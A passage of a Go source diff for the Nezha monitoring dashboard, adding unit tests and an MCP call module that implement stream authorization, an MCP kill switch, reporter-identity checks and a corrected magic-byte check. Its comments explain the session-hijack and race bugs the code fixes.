@@ func newPipeReadWriter() io.ReadWriteCloser { io.WriteCloser }{r, w} } + +func TestStreamOwnershipReturnsCreatorUserID(t *testing.T) { + h := NewNezhaHandler() + h.CreateStream("alice-stream", 100, 0) + + creator, found := h.StreamOwnership("alice-stream") + if !found { + t.Fatalf("expected stream to be found after CreateStream") + } + if creator != 100 { + t.Fatalf("expected creator user ID 100, got %d", creator) + } +} + +func TestStreamOwnershipReturnsNotFoundForUnknownID(t *testing.T) { + h := NewNezhaHandler() + if _, found := h.StreamOwnership("nonexistent"); found { + t.Fatalf("expected unknown stream id to report not-found") + } +} + +func TestStreamOwnershipPreservesPerStreamCreator(t *testing.T) { + h := NewNezhaHandler() + h.CreateStream("alice-stream", 100, 0) + h.CreateStream("bob-stream", 200, 0) + + aliceCreator, _ := h.StreamOwnership("alice-stream") + bobCreator, _ := h.StreamOwnership("bob-stream") + if aliceCreator != 100 || bobCreator != 200 { + t.Fatalf("expected per-stream creator IDs alice=100 bob=200, got alice=%d bob=%d", + aliceCreator, bobCreator) + } +} + +func TestIsStreamAuthorizedForUserAllowsCreator(t *testing.T) { + h := NewNezhaHandler() + h.CreateStream("alice-stream", 100, 0) + + if !h.IsStreamAuthorizedForUser("alice-stream", 100, false) { + t.Fatalf("creator must be authorized to attach to their own stream") + } +} + +func TestIsStreamAuthorizedForUserDeniesForeignMember(t *testing.T) { + h := NewNezhaHandler() + h.CreateStream("alice-stream", 100, 0) + + if h.IsStreamAuthorizedForUser("alice-stream", 200, false) { + t.Fatalf("foreign member must not be authorized — session hijack would be possible") + } +} + +func TestIsStreamAuthorizedForUserAllowsAdmin(t *testing.T) { + h := NewNezhaHandler() + h.CreateStream("alice-stream", 100, 0) + + if !h.IsStreamAuthorizedForUser("alice-stream", 999, true) { + t.Fatalf("admin must be authorized to attach regardless of creator") + } +} + +func TestIsStreamAuthorizedForUserDeniesUnknownStream(t *testing.T) { + h := NewNezhaHandler() + + if h.IsStreamAuthorizedForUser("nonexistent", 100, true) { + t.Fatalf("unknown stream id must not authorize even admin") + } +} + +// IOStream init messages begin with the magic marker ff05ff05. The inline +// check previously used && between byte inequalities, which due to short- +// circuit evaluation accepted almost every non-magic payload (any payload +// whose byte0 == 0xff was silently let through). These tests pin down the +// correct semantics: all four bytes must match exactly. +func TestIsValidIOStreamMagicAcceptsExactMagic(t *testing.T) { + if !isValidIOStreamMagic([]byte{0xff, 0x05, 0xff, 0x05}) { + t.Fatal("exact ff05ff05 magic must be accepted") + } + if !isValidIOStreamMagic([]byte{0xff, 0x05, 0xff, 0x05, 'p', 'a', 'y', 'l', 'o', 'a', 'd'}) { + t.Fatal("ff05ff05 followed by payload must be accepted") + } +} + +func TestIsValidIOStreamMagicRejectsShortData(t *testing.T) { + if isValidIOStreamMagic([]byte{}) { + t.Fatal("empty data must be rejected") + } + if isValidIOStreamMagic([]byte{0xff, 0x05, 0xff}) { + t.Fatal("3-byte payload must be rejected") + } +} + +// Agent-side stream authorization is the dual of IsStreamAuthorizedForUser: +// only the server the dashboard selected when CreateStream was called may +// attach via IOStream(). Without it, any authenticated agent that learns an +// active streamId (task-stream observation, leaked logs) can race in and +// serve a terminal/fm/NAT session originally addressed to a different +// server — a session-hijack RCE intermediation primitive. +func TestIsStreamAuthorizedForAgentAllowsBoundServer(t *testing.T) { + h := NewNezhaHandler() + h.CreateStream("terminal-for-server-100", 1, 100) + + if !h.IsStreamAuthorizedForAgent("terminal-for-server-100", 100) { + t.Fatalf("the bound target server must be authorized to attach") + } +} + +func TestIsStreamAuthorizedForAgentDeniesForeignServer(t *testing.T) { + h := NewNezhaHandler() + h.CreateStream("terminal-for-server-100", 1, 100) + + if h.IsStreamAuthorizedForAgent("terminal-for-server-100", 200) { + t.Fatalf("a foreign agent must not be able to attach — session hijack would be possible") + } +} + +func TestIsStreamAuthorizedForAgentDeniesUnboundStream(t *testing.T) { + h := NewNezhaHandler() + // targetServerID == 0 means the stream was created without a bound agent + // — no agent should be allowed to attach. + h.CreateStream("unbound-stream", 1, 0) + + if h.IsStreamAuthorizedForAgent("unbound-stream", 100) { + t.Fatalf("unbound stream must not authorize any agent") + } + if h.IsStreamAuthorizedForAgent("unbound-stream", 0) { + t.Fatalf("unbound stream must not authorize a zero clientID either") + } +} + +func TestIsStreamAuthorizedForAgentDeniesUnknownStreamID(t *testing.T) { + h := NewNezhaHandler() + + if h.IsStreamAuthorizedForAgent("nonexistent", 100) { + t.Fatalf("unknown stream id must not authorize any agent") + } +} + +func TestIsValidIOStreamMagicRejectsPartialOrWrongMagic(t *testing.T) { + // Each case has at least one byte that does NOT match the magic. The + // previous && short-circuit bug let cases like {0xff, 0, 0, 0} pass + // because byte0 alone matched. Correct semantics: any single byte off + // → reject. + cases := [][]byte{ + {0x00, 0x00, 0x00, 0x00}, + {0xff, 0x00, 0x00, 0x00}, + {0x00, 0x05, 0x00, 0x00}, + {0x00, 0x00, 0xff, 0x00}, + {0x00, 0x00, 0x00, 0x05}, + {0xff, 0x05, 0xff, 0x00}, + {0xff, 0x05, 0x00, 0x05}, + {0xff, 0x00, 0xff, 0x05}, + {0x00, 0x05, 0xff, 0x05}, + {0xff, 0xff, 0xff, 0xff}, + } + for _, c := range cases { + if isValidIOStreamMagic(c) { + t.Fatalf("non-magic payload %v must be rejected (regression: && short-circuit bug)", c) + } + } +} diff --git a/service/rpc/mcp_cancel_double_close_test.go b/service/rpc/mcp_cancel_double_close_test.go new file mode 100644 index 00000000..05eca6e2 --- /dev/null +++ b/service/rpc/mcp_cancel_double_close_test.go @@ -0,0 +1,55 @@ +package rpc + +import ( + "sync" + "sync/atomic" + "testing" + + pb "github.com/nezhahq/nezha/proto" +) + +// updateConfig has no serialization, so two concurrent admin PATCH /setting +// requests can both flip EnableMCP true->false and both invoke +// CancelAllMCPInflight concurrently. The sweep must close each entry's cancel +// channel at most once; a non-atomic check-then-close double-closes the same +// channel and panics, crashing the dashboard. +func TestCancelAllMCPInflight_ConcurrentSweepsDoNotDoubleClose(t *testing.T) { + mcpInflight.Range(func(key, _ any) bool { + mcpInflight.Delete(key) + return true + }) + t.Cleanup(func() { + mcpInflight.Range(func(key, _ any) bool { + mcpInflight.Delete(key) + return true + }) + }) + + const entries = 256 + for i := 0; i < entries; i++ { + mcpInflight.Store(uint64(i+1), &mcpInflightEntry{ + serverID: uint64(i + 1), + result: make(chan *pb.TaskResult, 1), + cancel: make(chan struct{}), + cancelled: new(atomic.Bool), + }) + } + + const sweepers = 8 + var wg sync.WaitGroup + wg.Add(sweepers) + for i := 0; i < sweepers; i++ { + go func() { + defer wg.Done() + // A double-close inside CancelAllMCPInflight panics here and + // fails the test (panic in a goroutine aborts the test binary). + CancelAllMCPInflight() + }() + } + wg.Wait() + + mcpInflight.Range(func(key, _ any) bool { + t.Fatalf("inflight entry %v survived the sweep", key) + return false + }) +} diff --git a/service/rpc/mcp_kill_switch_race_test.go b/service/rpc/mcp_kill_switch_race_test.go new file mode 100644 index 00000000..a7c3814f --- /dev/null +++ b/service/rpc/mcp_kill_switch_race_test.go @@ -0,0 +1,35 @@ +package rpc + +import ( + "context" + "testing" + "time" + + "github.com/nezhahq/nezha/model" +) + +// H9 regression: CallAgent must consult mcpKillSwitchObserved before any +// side-effects. Without this gate, mcpEndpoint's EnableMCP read and +// CancelAllMCPInflight race against a fresh CallAgent that registers +// AFTER the cancel sweep, surviving the disabled state. +func TestCallAgent_RefusesWhenKillSwitchObserved(t *testing.T) { + prevCheck := mcpKillSwitchObserver() + SetMCPKillSwitchObserver(func() bool { return true }) + t.Cleanup(func() { SetMCPKillSwitchObserver(prevCheck) }) + + _, err := CallAgent(context.Background(), 1, model.TaskTypeExec, struct{}{}, 50*time.Millisecond) + if err != ErrMCPDisabled { + t.Fatalf("CallAgent must short-circuit to ErrMCPDisabled when kill switch is observed, got %v", err) + } +} + +// The default hook must keep production behaviour disarmed so tests and +// unconfigured deployments do not short-circuit CallAgent. +func TestCallAgent_KillSwitchHookDefaultsToDisarmed(t *testing.T) { + if mcpKillSwitchObserver() == nil { + t.Fatal("mcpKillSwitchObserver must always return a non-nil probe so dashboard can wire it") + } + if mcpKillSwitchObserver()() { + t.Fatal("default hook must return false so unconfigured dashboards / tests don't accidentally short-circuit CallAgent") + } +} diff --git a/service/rpc/mcp_kill_switch_registration_race_test.go b/service/rpc/mcp_kill_switch_registration_race_test.go new file mode 100644 index 00000000..9d71ee72 --- /dev/null +++ b/service/rpc/mcp_kill_switch_registration_race_test.go @@ -0,0 +1,81 @@ +package rpc + +import ( + "context" + "errors" + "sync" + "testing" + "time" + + "github.com/nezhahq/nezha/model" +) + +// Registration-after-sweep race (review issue #1): CancelAllMCPInflight only +// cancels entries already present in the inflight map. A CallAgent that passes +// the upfront kill-switch check but has not yet Store()d its entry is invisible +// to the sweep, so without a post-registration re-check it goes on to SendTask +// a fresh exec/fs task to the agent AFTER EnableMCP=false. +// +// This test drives the worst-case interleaving deterministically: +// 1. CallAgent passes the upfront observer check (observer still false). +// 2. The operator flips the observer to "disabled" and runs the cancel sweep +// while CallAgent is paused between the check and Store. +// 3. CallAgent resumes; it MUST observe the kill switch on the post-Store +// re-check and return ErrMCPDisabled WITHOUT sending the task. +// +// With the race present, CallAgent sends the task and blocks until timeout +// (ErrAgentTimeout) — the agent received a fresh task past the kill switch. +func TestCallAgent_KillSwitchBeatsRegistrationAfterSweep(t *testing.T) { + const target uint64 = 7401 + + stream := newFakeStream() + cleanup := installFakeServer(t, target, stream) + defer cleanup() + + var killed bool + var mu sync.Mutex + prev := mcpKillSwitchObserver() + // Observer returns the operator-controlled flag. CallAgent reads it both + // before and (with the fix) after registering the inflight entry. + SetMCPKillSwitchObserver(func() bool { + mu.Lock() + defer mu.Unlock() + return killed + }) + t.Cleanup(func() { SetMCPKillSwitchObserver(prev) }) + + // Fail loudly if the agent ever receives a task: that means a fresh call + // leaked past the kill switch. + leaked := make(chan *struct{}, 1) + go func() { + select { + case <-stream.sent: + leaked <- nil + case <-time.After(2 * time.Second): + } + }() + + // Arrange the interleaving: hook fires once CallAgent is about to register, + // flipping the kill switch and running the cancel sweep so the not-yet-Stored + // entry is missed by the sweep. + hook := func() { + mu.Lock() + killed = true + mu.Unlock() + CancelAllMCPInflight() + } + testKillSwitchAfterUpfrontCheck.Store(&hook) + t.Cleanup(func() { testKillSwitchAfterUpfrontCheck.Store(nil) }) + + _, err := CallAgent(context.Background(), target, model.TaskTypeExec, + model.ExecRequest{Cmd: "x"}, 1*time.Second) + + if !errors.Is(err, ErrMCPDisabled) { + t.Fatalf("CallAgent must return ErrMCPDisabled when the kill switch fires during registration; got %v", err) + } + select { + case <-leaked: + t.Fatal("a fresh MCP task leaked to the agent past the kill switch") + default: + } +} diff --git a/service/rpc/mcp_receipt_agentcompat_test.go b/service/rpc/mcp_receipt_agentcompat_test.go new file mode 100644 index 00000000..c8dde517 --- /dev/null +++ b/service/rpc/mcp_receipt_agentcompat_test.go @@ -0,0 +1,197 @@ +//go:build agentcompat + +package rpc + +import ( + "bufio" + "context" + "errors" + "fmt" + "net" + "strconv" + "strings" + "testing" + "time" + + "github.com/nezhahq/nezha/model" + pb "github.com/nezhahq/nezha/proto" + "github.com/stretchr/testify/require" +) + +func TestMCPReceiptGate_FormatsTaskAndResultWithGeneration(t *testing.T) { + // Given + serverConn, clientConn := net.Pipe() + defer clientConn.Close() + gate := installReceiptGateForTest(serverConn) + defer clearReceiptGateForTest() + reader := bufio.NewReader(clientConn) + + // When + taskDone := make(chan struct{}) + go func() { + notifyMCPTaskDispatched(7, 9, model.TaskTypeExec) + close(taskDone) + }() + taskLine := mustReadLine(t, reader) + <-taskDone + resultDone := make(chan struct{}) + go func() { + notifyMCPTaskResultAccepted(7, 9, model.TaskTypeExec) + close(resultDone) + }() + resultLine := mustReadLine(t, reader) + <-resultDone + + // Then + require.Equal(t, "task "+itoa(gate.generation)+" 7 9 "+itoa(model.TaskTypeExec)+"\n", taskLine) + require.Equal(t, "result "+itoa(gate.generation)+" 7 9 "+itoa(model.TaskTypeExec)+"\n", resultLine) +} + +func TestCallAgent_EmitsOneTaskAndOneAcceptedResult(t *testing.T) { + // Given + serverConn, clientConn := net.Pipe() + defer clientConn.Close() + gate := installReceiptGateForTest(serverConn) + defer clearReceiptGateForTest() + stream := newFakeStream() + cleanup := installFakeServer(t, 801, stream) + defer cleanup() + reader := bufio.NewReader(clientConn) + lines := make(chan string, 2) + go func() { + line, err := reader.ReadString('\n') + if err != nil { + return + } + lines <- line + line, err = reader.ReadString('\n') + if err == nil { + lines <- line + } + }() + + go func() { + sent := <-stream.sent + deliverMCPResult(&pb.TaskResult{Id: sent.GetId(), Type: sent.GetType(), Successful: true, Data: "{}"}) + deliverMCPResult(&pb.TaskResult{Id: sent.GetId(), Type: sent.GetType(), Successful: true, Data: "{}"}) + }() + + // When + _, err := CallAgent(context.Background(), 801, model.TaskTypeExec, model.ExecRequest{Cmd: "x"}, time.Second) + + // Then + require.NoError(t, err) + taskLine := <-lines + resultLine := <-lines + require.Equal(t, "task "+itoa(gate.generation)+" 801 "+itoa(parseReceiptTaskID(taskLine))+" "+itoa(model.TaskTypeExec)+"\n", taskLine) + require.Equal(t, "result "+itoa(gate.generation)+" 801 "+itoa(parseReceiptTaskID(resultLine))+" "+itoa(model.TaskTypeExec)+"\n", resultLine) + require.Equal(t, parseReceiptTaskID(taskLine), parseReceiptTaskID(resultLine)) + clientConn.SetReadDeadline(time.Now().Add(20 * time.Millisecond)) + _, readErr := reader.ReadString('\n') + require.Error(t, readErr) +} + +func TestCallAgent_SendFailureEmitsNoTaskReceipt(t *testing.T) { + // Given + serverConn, clientConn := net.Pipe() + defer clientConn.Close() + installReceiptGateForTest(serverConn) + defer clearReceiptGateForTest() + stream := &fakeTaskStream{sent: make(chan *pb.Task, 1), err: errors.New("send failed")} + cleanup := installFakeServer(t, 802, stream) + defer cleanup() + + // When + _, err := CallAgent(context.Background(), 802, model.TaskTypeExec, model.ExecRequest{Cmd: "x"}, time.Second) + + // Then + require.EqualError(t, err, "send failed") + clientConn.SetReadDeadline(time.Now().Add(20 * time.Millisecond)) + _, readErr := bufio.NewReader(clientConn).ReadString('\n') + require.Error(t, readErr) +} + +func TestCallAgent_LateDuplicateAndCancelledResultsEmitNoAcceptedReceipt(t *testing.T) { + // Given + serverConn, clientConn := net.Pipe() + defer clientConn.Close() + installReceiptGateForTest(serverConn) + defer clearReceiptGateForTest() + stream := newFakeStream() + cleanup := installFakeServer(t, 803, stream) + defer cleanup() + reader := bufio.NewReader(clientConn) + taskLineCh := make(chan string, 1) + + // When + taskIDCh := make(chan uint64, 1) + go func() { + sent := <-stream.sent + taskIDCh <- sent.GetId() + line, _ := reader.ReadString('\n') + taskLineCh <- line + }() + _, err := CallAgent(context.Background(), 803, model.TaskTypeFsRead, model.FsReadRequest{Path: "/x"}, 20*time.Millisecond) + require.ErrorIs(t, err, ErrAgentTimeout) + taskID := <-taskIDCh + deliverMCPResult(&pb.TaskResult{Id: taskID, Type: model.TaskTypeFsRead, Successful: true, Data: "{}"}) + deliverMCPResult(&pb.TaskResult{Id: taskID, Type: model.TaskTypeFsRead, Successful: true, Data: "{}"}) + + // Then + require.Contains(t, <-taskLineCh, "task ") + clientConn.SetReadDeadline(time.Now().Add(20 * time.Millisecond)) + _, readErr := reader.ReadString('\n') + require.Error(t, readErr) +} + +func TestCallAgent_CancelledResultEmitsNoAcceptedReceipt(t *testing.T) { + // Given + serverConn, clientConn := net.Pipe() + defer clientConn.Close() + installReceiptGateForTest(serverConn) + defer clearReceiptGateForTest() + stream := newFakeStream() + cleanup := installFakeServer(t, 804, stream) + defer cleanup() + reader := bufio.NewReader(clientConn) + taskLineCh := make(chan string, 1) + go func() { + line, _ := reader.ReadString('\n') + taskLineCh <- line + }() + taskIDCh := make(chan uint64, 1) + go func() { + sent := <-stream.sent + taskIDCh <- sent.GetId() + }() + + // When + errCh := make(chan error, 1) + go func() { + _, err := CallAgent(context.Background(), 804, model.TaskTypeExec, model.ExecRequest{Cmd: "x"}, time.Second) + errCh <- err + }() + taskID := <-taskIDCh + CancelAllMCPInflight() + deliverMCPResult(&pb.TaskResult{Id: taskID, Type: model.TaskTypeExec, Successful: true, Data: "{}"}) + + // Then + require.ErrorIs(t, <-errCh, ErrMCPDisabled) + require.Contains(t, <-taskLineCh, "task ") + clientConn.SetReadDeadline(time.Now().Add(20 * time.Millisecond)) + _, readErr := reader.ReadString('\n') + require.Error(t, readErr) +} + +func itoa(value uint64) string { + return strconv.FormatUint(value, 10) +} + +func parseReceiptTaskID(line string) uint64 { + fields := strings.Fields(line) + value, err := strconv.ParseUint(fields[3], 10, 64) + if err != nil { + panic(fmt.Sprintf("invalid receipt line %q: %v", line, err)) + } + return value +} diff --git a/service/rpc/mcp_rpc.go b/service/rpc/mcp_rpc.go new file mode 100644 index 00000000..b233266a --- /dev/null +++ b/service/rpc/mcp_rpc.go @@ -0,0 +1,384 @@ +package rpc + +import ( + "context" + "encoding/json" + "errors" + "log" + "sync" + "sync/atomic" + "time" + + "github.com/nezhahq/nezha/model" + pb "github.com/nezhahq/nezha/proto" + "github.com/nezhahq/nezha/service/singleton" +) + +// MCP 的"调用-响应"模式复用了 RequestTask 双向流： +// - dashboard 发 Task（带新分配的 taskID + JSON params） +// - agent 执行后回 TaskResult（同 taskID + JSON result） +// - RequestTask 接收循环把这种 TaskType 识别后路由到 inflight 等待方 +// +// 不污染 model.Server 字段：用本包内的全局 inflight 表按 taskID 关联， +// 跨 server 共享单一命名空间。 + +var ( + mcpTaskIDCounter atomic.Uint64 + mcpInflight sync.Map // key: uint64 (taskID), value: chan *pb.TaskResult +) + +// ErrMCPDisabled 是 CallAgent 在 MCP kill switch 被触发时返回的哨兵错误。 +// 与 ErrAgentTimeout / ErrAgentOffline 平级，便于 controller 把它映射到 +// MCPOutcomeForbidden 之类的审计 code 而不是误报 agent 故障。 +var ErrMCPDisabled = errors.New("MCP is disabled by the dashboard administrator") + +// mcpKillSwitchObserved is a process-level hook the dashboard wires to +// singleton.Conf.EnableMCP. CallAgent consults it before any side-effects so +// the entry-check / cancel-sweep / registration race cannot leak a fresh +// call past EnableMCP=false. Defaults to "disarmed" so tests and headless +// builds are unaffected. +// +// Stored behind atomic.Pointer because SetMCPKillSwitchObserver (startup + +// tests) and CallAgent (any RPC goroutine) touch it concurrently; a plain +// func variable is a data race under -race. +var mcpKillSwitchObserved atomic.Pointer[func() bool] + +// disarmedKillSwitch is the default probe: never trips the kill switch. +var disarmedKillSwitch = func() bool { return false } + +// testKillSwitchAfterUpfrontCheck, when non-nil, runs inside CallAgent between +// the upfront kill-switch check and the inflight registration. Production +// leaves it nil; tests use it to drive the registration-after-sweep race +// deterministically. +var testKillSwitchAfterUpfrontCheck atomic.Pointer[func()] + +var ( + testMCPResultBeforeCancellationCheck atomic.Pointer[func()] + testMCPResultAfterCancellationCheck atomic.Pointer[func()] +) + +// SetMCPKillSwitchObserver installs the kill-switch probe the dashboard +// owns. Idempotent; the dashboard wires it at startup. Passing nil +// restores the default disarmed hook (used by tests to undo overrides). +func SetMCPKillSwitchObserver(fn func() bool) { + if fn == nil { + mcpKillSwitchObserved.Store(&disarmedKillSwitch) + return + } + mcpKillSwitchObserved.Store(&fn) +} + +// mcpKillSwitchObserver returns the currently installed probe, never nil. +func mcpKillSwitchObserver() func() bool { + if p := mcpKillSwitchObserved.Load(); p != nil { + return *p + } + return disarmedKillSwitch +} + +// allocateMCPTaskID 分配下一个 MCP 用的 task ID。 +// 取 1<<32 起步以与可能存在的 cron/transfer 等已有 ID 空间错开（cron.id 由 +// DB 自增，常量级，不会触及 1<<32）。 +func allocateMCPTaskID() uint64 { + const base uint64 = 1 << 32 + v := mcpTaskIDCounter.Add(1) + return base + v +} + +// CallAgent 给 serverID 对应的 agent 发一条 MCP-RPC 风格的 Task，并阻塞等待 TaskResult 回包。 +// +// taskType 必须是 model.IsMCPRPCResult 返回 true 的类型；params 会被 JSON 编码进 Task.Data。 +// 超时由调用方控制；触发超时后从 inflight 表移除等待 slot（晚到的回包会被丢弃）。 +// +// 错误语义： +// - server 未在线 / 未连接 task stream → ErrAgentOffline +// - 超时 → ctx.Err 或 ErrAgentTimeout +// - agent 回包 successful=false → 把 result.Data 当错误字符串返回 +// - CancelAllMCPInflight 期间被中断 → ErrMCPDisabled +// - 任何 send 失败、序列化失败 → 原始 error +// +// 返回的 raw JSON 是 agent 端 TaskResult.Data 的原文。 +func CallAgent(ctx context.Context, serverID uint64, taskType uint64, params any, timeout time.Duration) (json.RawMessage, error) { + if !model.IsMCPRPCResult(taskType) { + return nil, errors.New("CallAgent: task type is not registered as MCP RPC") + } + + killSwitch := mcpKillSwitchObserver() + if killSwitch() { + return nil, ErrMCPDisabled + } + + server, _ := singleton.ServerShared.Get(serverID) + if server == nil { + return nil, ErrAgentOffline + } + if server.GetTaskStream() == nil { + return nil, ErrAgentOffline + } + + body, err := json.Marshal(params) + if err != nil { + return nil, err + } + + taskID := allocateMCPTaskID() + resultCh := make(chan *pb.TaskResult, 1) + cancelCh := make(chan struct{}) + entry := &mcpInflightEntry{ + serverID: serverID, + result: resultCh, + cancel: cancelCh, + cancelled: new(atomic.Bool), + } + + if hook := testKillSwitchAfterUpfrontCheck.Load(); hook != nil { + (*hook)() + } + + mcpInflight.Store(taskID, entry) + defer mcpInflight.Delete(taskID) + + // Close the registration-after-sweep window: a kill switch that fired + // between the upfront check and this Store is invisible to + // CancelAllMCPInflight (our entry was not in the map yet). Because the + // operator sets EnableMCP=false BEFORE running the sweep, re-reading the + // observer here after Store guarantees we either see it disabled, or the + // sweep saw our now-registered entry and flipped entry.cancelled. + if killSwitch() || entry.cancelled.Load() { + return nil, ErrMCPDisabled + } + + if err := server.SendTask(&pb.Task{ + Id: taskID, + Type: taskType, + Data: string(body), + }); err != nil { + if errors.Is(err, model.ErrTaskStreamOffline) { + return nil, ErrAgentOffline + } + return nil, err + } + notifyMCPTaskDispatched(serverID, taskID, taskType) + + waitCtx := ctx + var cancel context.CancelFunc + if timeout > 0 { + waitCtx, cancel = context.WithTimeout(ctx, timeout) + defer cancel() + } + + select { + case res := <-resultCh: + if hook := testMCPResultBeforeCancellationCheck.Load(); hook != nil { + (*hook)() + } + // Cancel must beat a late agent reply: Go select picks a random + // ready case, so if CancelAllMCPInflight closed cancelCh after the + // agent already filled resultCh we could still surface success. + // Re-check the cancel flag and prefer ErrMCPDisabled, matching the + // contract documented above ("CancelAllMCPInflight 期间被中断 → + // ErrMCPDisabled") and what TestUpdateConfig_DisablingMCPInvokesKillSwitch + // expects. + if !entry.claimResult() { + return nil, ErrMCPDisabled + } + notifyMCPTaskResultAccepted(entry.serverID, res.GetId(), res.GetType()) + if hook := testMCPResultAfterCancellationCheck.Load(); hook != nil { + (*hook)() + } + if res == nil { + return nil, errors.New("agent returned nil result") + } + if !res.GetSuccessful() { + if res.GetData() != "" { + return nil, errors.New(res.GetData()) + } + return nil, errors.New("agent returned unsuccessful result") + } + return json.RawMessage(res.GetData()), nil + case <-cancelCh: + return nil, ErrMCPDisabled + case <-waitCtx.Done(): + if errors.Is(waitCtx.Err(), context.DeadlineExceeded) { + return nil, ErrAgentTimeout + } + return nil, waitCtx.Err() + } +} + +// mcpInflightEntry binds an in-flight MCP call to its target serverID and +// pairs the result channel with a per-call cancel channel so the kill switch +// can break out of CallAgent without leaving the result channel dangling for +// the next late agent reply. The serverID is the authoritative reporter +// identity check at delivery time — without it deliverMCPResult would route +// purely by attacker-controlled TaskResult.Id (same bug class as commit +// 02129f1 in the cron path). +// +// cancelled flips to true when CancelAllMCPInflight wins the entry lock before +// the result is claimed. Every code path that could complete the call — the +// CallAgent select on resultCh, deliverMCPResult, deliverMCPResultFromReporter +// — MUST consult it before treating an agent reply as authoritative. +type mcpInflightEntry struct { + serverID uint64 + result chan *pb.TaskResult + cancel chan struct{} + cancelled *atomic.Bool + mu sync.Mutex + claimed bool + closeOnce sync.Once +} + +func (e *mcpInflightEntry) claimResult() bool { + e.mu.Lock() + defer e.mu.Unlock() + if e.cancelled.Load() { + return false + } + e.claimed = true + return true +} + +func (e *mcpInflightEntry) cancelCall() { + e.mu.Lock() + if !e.claimed { + e.cancelled.Store(true) + } + e.mu.Unlock() + e.closeCancel() +} + +// closeCancel closes the entry's cancel channel exactly once. Concurrent +// CancelAllMCPInflight sweeps (two admin PATCH /setting requests both +// disabling MCP) would otherwise race a non-atomic check-then-close and +// panic on the second close. +func (e *mcpInflightEntry) closeCancel() { + e.closeOnce.Do(func() { close(e.cancel) }) +} + +// CancelAllMCPInflight closes every in-flight CallAgent so they return +// ErrMCPDisabled immediately. Used by the EnableMCP=false transition: by +// itself the inflight table holds the dashboard goroutine hostage until +// the agent replies (or the per-call timeout fires, up to ~305s for +// server.exec). Returns the number of calls cancelled for audit. +// +// Implementation notes: +// - Set the cancelled flag BEFORE closing cancelCh so any goroutine that +// already woke on resultCh observes it on the post-select re-check. +// - Delete the entry from mcpInflight immediately. Late agent replies via +// deliverMCPResult* would otherwise still find it (their own cancelled +// check covers concurrent delete, but evicting eagerly keeps the table +// small under repeated kill switch / re-enable cycles). +func CancelAllMCPInflight() int { + cancelled := 0 + mcpInflight.Range(func(key, value any) bool { + entry, ok := value.(*mcpInflightEntry) + if !ok { + return true + } + entry.cancelCall() + mcpInflight.Delete(key) + cancelled++ + return true + }) + return cancelled +} + +// DeliverMCPResultForTest 暴露 deliverMCPResult 给跨包测试用：这是显式的 +// "信任路径 / 不做 reporter 校验"入口，专给不关心来源的旧测试用。 +// 安全敏感测试请用 DeliverMCPResultFromReporterForTest 并传入真实 reporterID。 +func DeliverMCPResultForTest(res *pb.TaskResult) { deliverMCPResult(res) } + +// DeliverMCPResultFromReporterForTest 暴露带 reporter 校验的投递入口给跨包 +// 测试用，与生产 RequestTask 路径同语义：reporterID 必须等于 inflight 条目 +// 登记的目标 serverID 才会投递。reporterID == 0 视为 "未知 reporter" 并被 +// 拒绝；要绕过 reporter 校验请改用 DeliverMCPResultForTest。 +func DeliverMCPResultFromReporterForTest(res *pb.TaskResult, reporterID uint64) { + deliverMCPResultFromReporter(res, reporterID) +} + +// inflightServerIDForTest 返回某个 taskID 当前挂载的目标 serverID。用于安全 +// 回归测试断言 inflight 条目确实把目标 server 绑进了路由表。 +// 未找到时返回 (0, false)。 +func inflightServerIDForTest(taskID uint64) (uint64, bool) { + v, ok := mcpInflight.Load(taskID) + if !ok { + return 0, false + } + entry, ok := v.(*mcpInflightEntry) + if !ok { + return 0, false + } + return entry.serverID, true +} + +// deliverMCPResult 把 RequestTask 收到的 MCP-RPC TaskResult 路由到等待方。 +// 找不到等待 slot（已超时被移除）则丢弃。 +// +// 此变体不做 reporter 校验，仅用于不关心 reporter 的内部/测试路径。生产 +// RequestTask 接收循环必须走 deliverMCPResultFromReporter，把 stream 上 +// 已认证的 clientID 作为 reporter 传入。 +func deliverMCPResult(res *pb.TaskResult) { + if res == nil { + return + } + v, ok := mcpInflight.Load(res.GetId()) + if !ok { + return + } + entry, ok := v.(*mcpInflightEntry) + if !ok { + return + } + entry.mu.Lock() + defer entry.mu.Unlock() + if entry.cancelled.Load() { + return + } + select { + case entry.result <- res: + default: + } +} + +// deliverMCPResultFromReporter 是生产路径的入口：要求 reporterID 与 inflight +// 条目登记的目标 serverID 一致才投递；否则丢弃并打日志。reporterID == 0 +// 视为“未知 reporter”，安全起见也丢弃。 +// +// 这条校验是必要的：mcpInflight 用全局递增 taskID 做键，跨 server 共享 +// 单一命名空间；如果不在投递时核对上报 agent 是 CallAgent 的目标 server， +// 任何已认证的恶意/失陷 agent 都能用猜到的 taskID 抢答其他 server 的 +// MCP 调用（resultCh 容量 1，先到者覆盖真正回包）——和 commit 02129f1 +// 在 cron 路径修过的攻击面同类。 +func deliverMCPResultFromReporter(res *pb.TaskResult, reporterID uint64) { + if res == nil { + return + } + v, ok := mcpInflight.Load(res.GetId()) + if !ok { + return + } + entry, ok := v.(*mcpInflightEntry) + if !ok { + return + } + if reporterID == 0 || entry.serverID != reporterID { + log.Printf("NEZHA>> MCP result ignored: taskID=%d targetServerID=%d reporterID=%d", + res.GetId(), entry.serverID, reporterID) + return + } + entry.mu.Lock() + defer entry.mu.Unlock() + if entry.cancelled.Load() { + return + } + select { + case entry.result <- res: + default: + } +} + +// 错误类型 +var ( + ErrAgentOffline = errors.New("agent offline or task stream not connected") + ErrAgentTimeout = errors.New("agent did not respond within timeout") +) diff --git a/service/rpc/mcp_rpc_helper_doc_test.go b/service/rpc/mcp_rpc_helper_doc_test.go new file mode 100644 index 00000000..69be8e0d --- /dev/null +++ b/service/rpc/mcp_rpc_helper_doc_test.go @@ -0,0 +1,61 @@ +package rpc + +import ( + "strings" + "sync/atomic" + "testing" + + pb "github.com/nezhahq/nezha/proto" +) + +// 把"测试 helper 的注释与运行时语义"钉成测试，避免 helper 文档骗读者： +// +// 1. DeliverMCPResultForTest 是显式的"信任路径 / 不做 reporter 校验"入口。 +// 2. DeliverMCPResultFromReporterForTest 是带 reporter 校验的入口； +// reporterID == 0 视为"未知 reporter"，必须被拒绝，不能像旧注释暗示的 +// 那样当作"未知/不校验"放行。 +// +// 这条契约决定了任何安全敏感的跨包测试调用方式：要绕过 reporter， +// 必须用 DeliverMCPResultForTest，而不是 reporterID=0 通过 reporter 入口。 +func TestDeliverMCPResultFromReporterForTest_ZeroReporterIDIsRejected(t *testing.T) { + taskID := allocateMCPTaskID() + resultCh := make(chan *pb.TaskResult, 1) + cancelCh := make(chan struct{}) + mcpInflight.Store(taskID, &mcpInflightEntry{ + serverID: 7, + result: resultCh, + cancel: cancelCh, + cancelled: new(atomic.Bool), + }) + 